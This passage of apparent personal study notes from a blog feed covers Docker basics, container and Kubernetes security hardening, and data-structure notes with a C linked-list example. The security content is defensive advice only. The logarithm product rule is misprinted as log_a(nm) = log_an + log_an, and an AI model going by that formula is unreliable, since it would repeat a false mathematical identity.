</span></span></span><span class="line"><span class="cl"><span class="se"></span>  Image       Container    Version
</span></span><span class="line"><span class="cl"> Registry      Images   or Variant of Image
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">e.g. docker.io/ubuntu:18.04
</span></span></code></pre></div><blockquote>
<p>The host name can be excluded using Docker CLI.</p>
</blockquote>
<h3 id="container">Container</h3>
<ul>
<li>is runnable instance of an image</li>
<li>can be created, stopped, started or deleted using the Docker API or CLI</li>
<li>can connect to multiple networks, attach storage, or create a new image based on its current state</li>
<li>is well isolated from other containers and its host machine</li>
</ul>
<h3 id="network">Network</h3>
<ul>
<li>Networks are used for the isolated containers communication</li>
</ul>
<h3 id="storage">Storage</h3>
<ul>
<li>Docker uses volumes and bind mounts to persist data even after a container stops</li>
</ul>
<h3 id="plugins">Plugins</h3>
<ul>
<li>Storage plugins provide the ability to connect to external storage platforms</li>
</ul>
<h2 id="docker-architecture">Docker Architecture</h2>
<p>consists of a Docker client, a Docker host, and a registry.</p>
<p>
  
  <input type="checkbox" id="zoomCheck-6807b" hidden />
  <label for="zoomCheck-6807b">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/docker-architecture.webp"
      alt="Docker Architecture"
       />
  </label>
</p>
<ul>
<li>based on client-server architecture</li>
<li>provides a complete application environment</li>
<li>includes the client, the host, and the registry components</li>
<li>Docker host server include Docker daemon known as dockerd</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">Docker CLI or REST APIs -------&gt; Docker host server
</span></span><span class="line"><span class="cl">                  sends instructions
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Daemon &lt;----- Docker API requests or <span class="s2">&#34;docker run&#34;</span> commands
</span></span><span class="line"><span class="cl">       listens
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">The daemon ----------------&gt; to the registry
</span></span><span class="line"><span class="cl">    builds, runs, and distributes containers
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Registry ----------&gt; images <span class="o">(</span>either public or private<span class="o">)</span>
</span></span><span class="line"><span class="cl">          stores
</span></span></code></pre></div><h3 id="registry">Registry</h3>
<ul>
<li>stores and distributed images, public (Docker Hub), private (implemented for security).</li>
<li>registry locations are either hosted or self-hosted.</li>
</ul>
<p>
  
  <input type="checkbox" id="zoomCheck-a1a44" hidden />
  <label for="zoomCheck-a1a44">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/registry-process.webp"
      alt="Registry Process"
       />
  </label>
</p>
<h2 id="commands">Commands</h2>
<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>curl localhost</td>
<td>Pings the application.</td>
</tr>
<tr>
<td>docker build</td>
<td>Builds an image from a Dockerfile.</td>
</tr>
<tr>
<td>docker build . -t</td>
<td>Builds the image and tags the image id.</td>
</tr>
<tr>
<td>docker CLI</td>
<td>Start the Docker command line interface.</td>
</tr>
<tr>
<td>docker container rm</td>
<td>Removes a container.</td>
</tr>
<tr>
<td>docker images</td>
<td>Lists the images.</td>
</tr>
<tr>
<td>docker ps</td>
<td>Lists the containers.</td>
</tr>
<tr>
<td>docker ps -a</td>
<td>Lists the containers that ran and exited successfully.</td>
</tr>
<tr>
<td>docker pull</td>
<td>Pulls the latest image or repository from a registry.</td>
</tr>
<tr>
<td>docker push</td>
<td>Pushes an image or a repository to a registry.</td>
</tr>
<tr>
<td>docker run</td>
<td>Runs a command in a new container.</td>
</tr>
<tr>
<td>docker run -p</td>
<td>Runs the container by publishing the ports.</td>
</tr>
<tr>
<td>docker stop</td>
<td>Stops one or more running containers.</td>
</tr>
<tr>
<td>docker stop $(docker ps -q)</td>
<td>Stops all running containers.</td>
</tr>
<tr>
<td>docker tag</td>
<td>Creates a tag for a target image that refers to a source image.</td>
</tr>
<tr>
<td>docker –version</td>
<td>Displays the version of the Docker CLI.</td>
</tr>
<tr>
<td>exit</td>
<td>Closes the terminal session.</td>
</tr>
<tr>
<td>export MY_NAMESPACE</td>
<td>Exports a namespace as an environment variable.</td>
</tr>
<tr>
<td>git clone</td>
<td>Clones the git repository that contains the artifacts needed.</td>
</tr>
</tbody>
</table>
<h2 id="ibm-specific-commands">IBM Specific Commands</h2>
<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>ibmcloud cr images</td>
<td>Lists images in the IBM Cloud Container Registry.</td>
</tr>
<tr>
<td>ibmcloud cr login</td>
<td>Logs your local Docker daemon into IBM Cloud Container Registry.</td>
</tr>
<tr>
<td>ibmcloud cr namespaces</td>
<td>Views the namespaces you have access to.</td>
</tr>
<tr>
<td>ibmcloud cr region-set</td>
<td>Ensures that you are targeting the region appropriate to your cloud account.</td>
</tr>
<tr>
<td>ibmcloud target</td>
<td>Provides information about the account you’re targeting.</td>
</tr>
<tr>
<td>ibmcloud version</td>
<td>Displays the version of the IBM Cloud CLI.</td>
</tr>
</tbody>
</table>
]]></content:encoded>
    </item>
    <item>
      <title>Containers 201: Security in DevOps</title>
      <link>https://sagarchamling.com/notes/container-201-security-in-devops/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://sagarchamling.com/notes/container-201-security-in-devops/</guid>
      <description>Securing Containers in DevOps</description>
      <content:encoded><![CDATA[<h2 id="containers">Containers</h2>
<h3 id="under-the-hood">Under the Hood</h3>
<p>Cgroups (control groups) are a kernel mechanism for limiting and measuring the total resources used by a group of processes running on a system. For example, you can restrict CPU, memory, network, or I/O quotas using cgroups.</p>
<p>Namespaces are a kernel mechanism for limiting the visibility that a group of processes has over the rest of a system. For example, you can limit visibility to certain process trees, network interfaces, user IDs, or filesystem mounts.</p>
<blockquote>
<p>cgroups limit how much of a resource you can use whereas namespaces limit which resources you can use.</p>
</blockquote>
<h3 id="lxc-framework">LXC Framework</h3>
<p>LXC (Linux Containers) are an OS level virtualization method that allow running multiple isolated Linux containers on a host OS using a single Linux kernel. LXC (Linux Containers) uses the following kernel features to contain processes:</p>
<ul>
<li>
<p>LXC namespaces (IPC, Network, Mount, PID, User, UTS)</p>
<blockquote>
<p>Kernel version 4.10, there are six kinds of namespaces, IPC, Network, Mount, PID, User, UTS</p>
</blockquote>
</li>
<li>
<p>LXC cgroups (control groups)</p>
<blockquote>
<p>LXC cgroups framework provides Resource Limiting, Prioritization, Accounting, Control</p>
</blockquote>
</li>
<li>
<p>LXC security modules (AppArmor and SELinux profiles)</p>
<blockquote>
<p>Two most accepted modules in Linux Kernel are AppArmor and SELinux.</p>
</blockquote>
</li>
</ul>
<h3 id="lxc-containers">LXC Containers</h3>
<ul>
<li><strong>Privileged containers</strong> are defined as any container where the container UID 0 is mapped to the host’s UID 0.</li>
<li><strong>Unprivileged containers</strong> are safe by design. The container UID 0 is mapped to an unprivileged user outside of the container and only has extra rights on resources that it owns itself.</li>
</ul>
<h2 id="container-security">Container Security</h2>
<ul>
<li>Securing the container development pipeline and corresponding applications.</li>
<li>Securing the container deployment environment(s) and corresponding infrastructure.</li>
<li>Integrating with enterprise security tools and enhancing existing security policies and procedures.</li>
</ul>
<h3 id="challenges-to-devops">Challenges to DevOps</h3>
<ul>
<li><strong>Code Phase</strong> - use of third-party resources, GitHub repository is unavoidable</li>
<li><strong>Build Phase</strong> - Installing applications keeping default configuration, not implementing security safeguards or hardening controls.</li>
<li><strong>Test Phase</strong> - Deployed applications can be exploited through a variety of security testing methods.</li>
<li><strong>Deploy Phase</strong> - Exposing data in Docker files and embedded malware in container image.</li>
<li><strong>Operate Phase</strong> - Non-updated images, well-known vulnerability in dependencies, unrestricted admin access, unauthorized access.</li>
<li><strong>Monitor Phase</strong> - Hijacked repository, image registry and poisoned resources, exposed ports, Kubernetes/Docker API abuse</li>
</ul>
<h3 id="defense-in-depth-in-container">Defense in Depth in Container</h3>
<ul>
<li><strong>Cloud Provider</strong> is first layer involving supporting infrastructure, typically hosted by main cloud providers.</li>
<li><strong>Cluster</strong> allows to manage the workloads of nodes within a management layer are responsible for running application.</li>
<li><strong>Container</strong> third layer, static analysis of vulnerability in application container, image signing and enforcement to mitigate man-in-the-middle attacks.</li>
<li><strong>Code</strong> security awareness for engineers and developers.</li>
</ul>
<h4 id="securing-container-layer">Securing Container Layer</h4>
<ul>
<li>Docker Content Trust - builtin and integrates TUF using Notary, strong cryptographic guarantees over code.</li>
<li>Portieris - Kubernetes admission controller for enforcing content trust.</li>
<li>Project Calico - Open source networking and network security solution for containers, VMs, and native host-based workloads.</li>
</ul>
<h4 id="securing-code-layer">Securing Code Layer</h4>
<ul>
<li>Awareness of common vulnerabilities affecting this technology and way to test them.</li>
<li>Grant access to application over TLS only.</li>
<li>Limit port ranges of communication.</li>
<li>Don&rsquo;t hardcode secrets or passwords in source code and don&rsquo;t reuse.</li>
<li>Store secrets in secure repositories. Unsecure repo includes shared storage, unencrypted files, version control systems, S3 etc.</li>
<li>Use third party dependency security, e.g. GitHub security alerts scan and alert developers.</li>
<li>Perform static code analysis - scan codebases for common security errors.</li>
<li>Perform dynamic testing - using tools to exploit well-known attacks, OWASP Top Ten Project.</li>
<li>Perform secure API development.</li>
</ul>
<h3 id="docker">Docker</h3>
<p>Docker enables the organization to run, create, and manage containers on a single operating system.</p>
<p>
  
  <input type="checkbox" id="zoomCheck-63105" hidden />
  <label for="zoomCheck-63105">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/docker.webp#center"
      alt="Docker Diagram"
       />
  </label>
</p>
<h3 id="kubernetes">Kubernetes</h3>
<p>Kubernetes is a container orchestration system for Docker containers, address container issues, provide scaling as needed.</p>
<p>
  
  <input type="checkbox" id="zoomCheck-a8143" hidden />
  <label for="zoomCheck-a8143">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/kubernetes.webp#center"
      alt="Kubernetes Diagram"
       />
  </label>
</p>
<h4 id="architecture">Architecture</h4>
<p>
  
  <input type="checkbox" id="zoomCheck-37791" hidden />
  <label for="zoomCheck-37791">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/architecture.webp"
      alt="Kubernetes Architecture"
       />
  </label>
</p>
<h5 id="control-plane">Control Plane</h5>
<ul>
<li>One or More API Servers: Entry point for REST / <strong>kubectl</strong></li>
<li><strong>etcd</strong>: Distributed key/value store</li>
<li><strong>Controller-manager</strong>: Always evaluating current vs desired state</li>
<li><strong>Scheduler</strong>: Schedules pods to worker nodes</li>
</ul>
<h5 id="data-plane">Data Plane</h5>
<ul>
<li>Made up of worker nodes</li>
<li><strong>kubelet</strong>: Acts as a conduit between the API server and the node</li>
<li><strong>kube-proxy</strong>: Manages IP translation and routing</li>
</ul>
<h4 id="components-of-cluster">Components of Cluster</h4>
<p>
  
  <input type="checkbox" id="zoomCheck-b320b" hidden />
  <label for="zoomCheck-b320b">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/kubernetes-cluster.webp"
      alt="Kubernetes Cluster"
       />
  </label>
</p>
<ul>
<li><strong>Node</strong> - common term for VMs and/or bare-metal servers that Kubernetes manages.</li>
<li><strong>Pod</strong> - basic unit of deployment in Kubernetes, collection of related Docker containers that need to coexist.</li>
</ul>
<h4 id="securing-the-components-of-the-cluster">Securing the Components of the Cluster</h4>
<ul>
<li>Use transport layer security (TLS) for all API traffic.</li>
<li>Implement API authentication and authorization can be infrastructure, like nodes, proxies, the scheduler, and volume plugins.</li>
<li>Limit resource usage on a cluster, resource quota, max/min size of resources like CPU, memory, or persistent disk a namespace can allocate.</li>
<li>Employ user permissions hardening as most application workloads need limited access to host resources (UID 0).</li>
<li>Restrict network access.</li>
<li>Restrict metadata access, the cloud platforms exposes metadata contain cloud credentials services locally to instances so running Kubernetes on cloud platform, limit permissions given to instance credentials, use network policies to restrict pod access metadata api.</li>
<li>Control which nodes, pods may access, use policies to separate workloads.</li>
<li>Restrict access to etcd write access equivalent to gaining root on entire cluster and read access can escalate quickly.</li>
<li>Enable audit logging of the cluster.</li>
<li>Don&rsquo;t use alpha or beta features in production clusters.</li>
<li>Rotate infrastructure credentials, shorter lifetime of secret, automate rotation.</li>
<li>Review third-party integration libraries and requested permissions.</li>
<li>Encrypt secrets at rest.</li>
</ul>
<h2 id="container-orchestration">Container Orchestration</h2>
<p>Container Orchestration means managing lifecycle of containers, especially in large, dynamic environments. It used used to deploy, scale, schedule and network applications. Some engineering teams container orchestration tasks are:</p>
<ul>
<li>Scaling up or down resources</li>
<li>Provisioning and deployment</li>
<li>Redundancy and availability</li>
<li>Expose singular points of access</li>
<li>Load balancing</li>
<li>Resource sharing</li>
<li>External exposure of services running in a container to the outside world</li>
<li>Health monitoring</li>
<li>Configuration of an application in relation to the containers running it</li>
</ul>
<h2 id="reference">Reference</h2>
<ul>
<li><a href="https://www.sans.org/reading-room/whitepapers/auditing/checklist-audit-docker-containers-37437">The SANS Institute’s checklist for auditing Docker-based containers</a></li>
<li><a href="https://www.trendmicro.com/vinfo/us/security/news/security-technology/container-security-examining-potential-threats-to-the-container-environment">The article “Container Security: Examining Potential Threats to the Container Environment”</a></li>
<li><a href="https://kubernetes.io/docs/concepts/security/overview/">Kubernetes Cloud Native Security</a></li>
<li><a href="https://kubernetes.io/docs/tasks/administer-cluster/securing-a-cluster/">Securing a Kubernetes cluster</a></li>
<li><a href="https://www.linuxjournal.com/content/everything-you-need-know-about-containers-part-iii-orchestration-kubernetes">Orchestration with Kubernetes</a></li>
<li><a href="https://www.cncf.io/announcement/2017/10/24/cncf-host-two-security-projects-notary-tuf-specification/">Notary</a></li>
<li><a href="https://success.docker.com/article/introduction-to-docker-content-trust">Docker Content Trust</a></li>
<li><a href="https://github.com/IBM/portieris">IBM Portieris</a></li>
<li><a href="https://web.mit.edu/rhel-doc/5/RHEL-5-manual/Deployment_Guide-en-US/ch-selinux.html">SELinux</a></li>
<li><a href="https://docs.projectcalico.org/v3.9/introduction/">Project Calico</a></li>
<li><a href="https://blog.newrelic.com/engineering/container-orchestration-explained/">What Is Container Orchestration?</a></li>
<li><a href="https://www.trendmicro.com/en_ie/business/products/hybrid-cloud/container.html">Security for Containers</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Data Structure and Algorithms 101</title>
      <link>https://sagarchamling.com/notes/dsa-101/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://sagarchamling.com/notes/dsa-101/</guid>
      <description>Data Structure and Algorithms Notes</description>
      <content:encoded><![CDATA[<h2 id="asymptotic-notation">Asymptotic Notation</h2>
<ul>
<li>considering asymptotic run-times.</li>
<li>how does runtime <code>scale</code> with input size.</li>
</ul>
<h3 id="big-o">Big O</h3>
<ul>
<li>clarifies growth rate.</li>
<li>cleans up notation.</li>
<li>can ignore complicated details.</li>
<li>Big-O is only asymptotic and loses important information about constant multiples.</li>
</ul>
<p>$$
O(n^2) \approx 3n^2 + 5n + 2
$$</p>
<p>$$
O(n) \approx n + log_2(n) + sin(n)
$$</p>
<p>$$
O(n  \medspace log(n)) \approx 4n \medspace log_2(n) + 7
$$</p>
<h4 id="common-rules">Common Rules</h4>
<p>
  
  <input type="checkbox" id="zoomCheck-5568c" hidden />
  <label for="zoomCheck-5568c">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/big-o-rules.webp#center"
      alt="Big O Rules"
       />
  </label>
</p>
<h4 id="notation-graph">Notation Graph</h4>
<p>
  
  <input type="checkbox" id="zoomCheck-7fffe" hidden />
  <label for="zoomCheck-7fffe">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/complexity-graph.webp#center"
      alt="Complexity Graph"
       />
  </label>
</p>
<table>
<thead>
<tr>
<th>Notation</th>
<th>Name</th>
<th>Description</th>
<th>Example</th>
</tr>
</thead>
<tbody>
<tr>
<td>O(1)</td>
<td>Constant Time</td>
<td>Remains unchanged irrespective of input data</td>
<td>Checking if a stack is empty</td>
</tr>
<tr>
<td>O(log n)</td>
<td>Logarithmic Time</td>
<td>Complexity increases by one unit for each doubling of input data</td>
<td>Finding an item in a balanced search tree</td>
</tr>
<tr>
<td>O(n)</td>
<td>Linear Time</td>
<td>Increases linearly with the size of the input data</td>
<td>Linear traversal of a list</td>
</tr>
<tr>
<td>O(n log n)</td>
<td>Log-Linear Time</td>
<td>Complexity grows as a combination of linear and logarithmic</td>
<td>Merge sort on a collection of items</td>
</tr>
<tr>
<td>O(n^2)</td>
<td>Quadratic Time</td>
<td>Time taken is proportional to the square of the number of elements</td>
<td>Checking all possible pairs in an array</td>
</tr>
<tr>
<td>O(n^3)</td>
<td>Polynomial Time</td>
<td>Computation is proportional to the cube of the number of elements</td>
<td>Matrix multiplication of <code>n x n</code> matrices</td>
</tr>
<tr>
<td>O(2^n)</td>
<td>Exponential Time</td>
<td>Time doubles for every new element added</td>
<td>Generating all subsets of a given set</td>
</tr>
<tr>
<td>O(n!)</td>
<td>Factorial Time</td>
<td>Complexity grows factorially based on the size of the dataset</td>
<td>Determining all permutations of a given list</td>
</tr>
</tbody>
</table>
<h4 id="logarithms-rules">Logarithms Rules</h4>
<p>$$
log_a(n^k) = k\space log_a\space n
$$</p>
<p>$$
log_a(nm) = log_an + log_an
$$</p>
<p>$$
n^{log_ab} = b^{log_an}
$$</p>
<p>$$
log_a\space n\cdot log_b\space a = log_b\space n
$$</p>
<p>Example:</p>
<p>$$
log_3 \medspace 81 == 3^x = 81, x = 4
$$</p>
<p>$$
log_k n == k^x = n, x\space and\space k\space are\space constants
$$</p>
<h3 id="time-complexity">Time Complexity</h3>
<ul>
<li>time is a sum of the times required.</li>
<li>is a mathematical notation to describe the algorithm&rsquo;s performance or complexity of an algorithm.</li>
<li>specifically how long an algorithm takes to run as the input size grows.</li>
<li>it allows to analyze and compare the efficiency of different algorithms</li>
<li>also make informed decisions about which one to use in a given situation.</li>
</ul>
<h3 id="space-complexity">Space Complexity</h3>
<ul>
<li>memory is a measure of maximal heap and stack utilization.</li>
<li>primitive variables (booleans, numbers, undefined, null) are constant space <code>O(1)</code></li>
<li>strings require <code>O(n)</code> space (where <code>n</code> is the string length)</li>
<li>reference types are generally <code>O(n)</code>, where <code>n</code> is the length (for arrays) or the number or keys (for objects)</li>
</ul>
<h2 id="data-structures">Data Structures</h2>
<ul>
<li>are collections of values</li>
<li>the relationships among them</li>
<li>the functions or operations that can be applied to the data</li>
<li>commonly used data structures in JavaScript: <code>array</code> and <code>object</code></li>
</ul>
<h3 id="arrays">Arrays</h3>
<ul>
<li>contiguous and indexed in order</li>
<li>insertion and deletion can be expensive</li>
<li>lookup is great - can quickly be accessed at a specific index</li>
<li>easy to sort</li>
<li>small size-wise</li>
<li>stuck with fixed size, no flexibility</li>
</ul>
<h3 id="linked-list">Linked List</h3>
<ul>
<li>insertion/deletion is easy.</li>
<li>lookup is bad - have to rely on linear search</li>
<li>relatively difficult to sort, instead sort as you construct</li>
<li>relatively small size wise (not as small as arrays)</li>
</ul>
<blockquote>
<p>Note: Searching a value could be expensive while using linked list, however if you need to perform insertion and deletion in a large data set then it could be the better option than an array</p>
</blockquote>
<h4 id="singly-linked-list">Singly-Linked List</h4>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">node1<span class="o">(</span>value <span class="p">|</span> next<span class="o">)</span> --&gt; node2<span class="o">(</span>value <span class="p">|</span> next<span class="o">)</span> --&gt; node3<span class="o">(</span>value <span class="p">|</span> next<span class="o">)</span> --&gt; NULL
</span></span></code></pre></div>

  
    
    <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="k">typedef</span> <span class="k">struct</span> <span class="n">node</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">number</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">struct</span> <span class="n">node</span> <span class="o">*</span><span class="n">next</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span> <span class="n">node</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">argv</span><span class="p">[])</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">node</span> <span class="o">*</span><span class="n">list</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">argc</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="kt">int</span> <span class="n">number</span> <span class="o">=</span> <span class="nf">atoi</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">        <span class="n">node</span> <span class="o">*</span><span class="n">new</span> <span class="o">=</span> <span class="nf">malloc</span><span class="p">(</span><span class="k">sizeof</span><span class="p">(</span><span class="n">node</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="c1">// Handling allocation error.
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="k">if</span> <span class="p">(</span><span class="n">new</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nf">free</span><span class="p">(</span><span class="n">new</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="c1">// Assigning number.
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="n">new</span><span class="o">-&gt;</span><span class="n">number</span> <span class="o">=</span> <span class="n">number</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="n">new</span><span class="o">-&gt;</span><span class="n">next</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="c1">// If list is empty
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="k">if</span> <span class="p">(</span><span class="n">list</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="n">list</span> <span class="o">=</span> <span class="n">new</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="c1">// If new number is small, insert at the beginning.
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">new</span><span class="o">-&gt;</span><span class="n">number</span> <span class="o">&lt;</span> <span class="n">list</span><span class="o">-&gt;</span><span class="n">number</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="n">new</span><span class="o">-&gt;</span><span class="n">next</span> <span class="o">=</span> <span class="n">list</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="n">list</span> <span class="o">=</span> <span class="n">new</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="c1">// if belongs later in the list
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="k">else</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="k">for</span> <span class="p">(</span><span class="n">node</span> <span class="o">*</span><span class="n">ptr</span> <span class="o">=</span> <span class="n">list</span><span class="p">;</span> <span class="n">ptr</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">;</span> <span class="n">ptr</span> <span class="o">=</span> <span class="n">ptr</span><span class="o">-&gt;</span><span class="n">next</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">            <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="c1">// if end of the list
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>                <span class="k">if</span> <span class="p">(</span><span class="n">ptr</span><span class="o">-&gt;</span><span class="n">next</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="p">{</span>
</span></span><span class="line"><span class="cl">                    <span class="n">ptr</span><span class="o">-&gt;</span><span class="n">next</span> <span class="o">=</span> <span class="n">new</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                    <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">                <span class="c1">// if in the middle of list
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>                <span class="k">if</span> <span class="p">(</span><span class="n">new</span><span class="o">-&gt;</span><span class="n">number</span> <span class="o">&lt;</span> <span class="n">ptr</span><span class="o">-&gt;</span><span class="n">next</span><span class="o">-&gt;</span><span class="n">number</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="p">{</span>
</span></span><span class="line"><span class="cl">                    <span class="n">new</span><span class="o">-&gt;</span><span class="n">next</span> <span class="o">=</span> <span class="n">ptr</span><span class="o">-&gt;</span><span class="n">next</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                    <span class="n">ptr</span><span class="o">-&gt;</span><span class="n">next</span> <span class="o">=</span> <span class="n">new</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                    <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1">// new pointer to point all the list
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="n">node</span> <span class="o">*</span><span class="n">ls_ptr</span> <span class="o">=</span> <span class="n">list</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">while</span> <span class="p">(</span><span class="n">ls_ptr</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;%i</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">ls_ptr</span><span class="o">-&gt;</span><span class="n">number</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="n">ls_ptr</span> <span class="o">=</span> <span class="n">ls_ptr</span><span class="o">-&gt;</span><span class="n">next</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div>
  


<ul>
<li>do not have indexes</li>
<li>connected via nodes with a next pointer</li>
<li>random access is not allowed</li>
<li>not applicable for binary searching.</li>
<li>can only move in one direction.</li>
<li>Time Complexity:
<ul>
<li>Insertion:
<ul>
<li><strong>O(1)</strong> if unsorted (beginning)</li>
<li><strong>O(n)</strong> if in sorted.</li>
</ul>
</li>
<li>Deletion: Depends <strong>O(1)</strong> or <strong>O(n)</strong></li>
<li>Search: <strong>O(n)</strong></li>
<li>Access: <strong>O(n)</strong></li>
</ul>
</li>
</ul>
<h4 id="doubly-linked-list">Doubly-Linked List</h4>
<p>
  
  <input type="checkbox" id="zoomCheck-b4e41" hidden />
  <label for="zoomCheck-b4e41">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/doubly-linked-list.webp"
      alt="Double Linked List"
       />
  </label>
</p>
<ul>
<li>has one more pointer previous than singly linked list.</li>
<li>takes up more memory but has more flexibility than singly linked list.</li>
<li>allows to move forward and backward through the list.</li>
<li>Time Complexity:
<ul>
<li>Insertion: <strong>O(1)</strong></li>
<li>Deletion: <strong>O(1)</strong></li>
<li>Search: <strong>O(n)</strong></li>
<li>Access: <strong>O(n)</strong></li>
</ul>
</li>
</ul>
<h4 id="stack">Stack</h4>
<ul>
<li>implementation using as an array or Linked List (LIFO).</li>
<li>insert at the beginning and remove at the beginning.</li>
<li>two operation: push and pop.</li>
<li>Time Complexity:
<ul>
<li>Insertion: O(1)</li>
<li>Deletion: O(1)</li>
<li>Searching: O(n)</li>
<li>Access: O(n)</li>
</ul>
</li>
</ul>
<h4 id="queue">Queue</h4>
<ul>
<li>implementation using as an array or a Linked List (FIFO).</li>
<li>insert at the end and remove at the beginning.</li>
<li>two operations: enqueue and dequeue.</li>
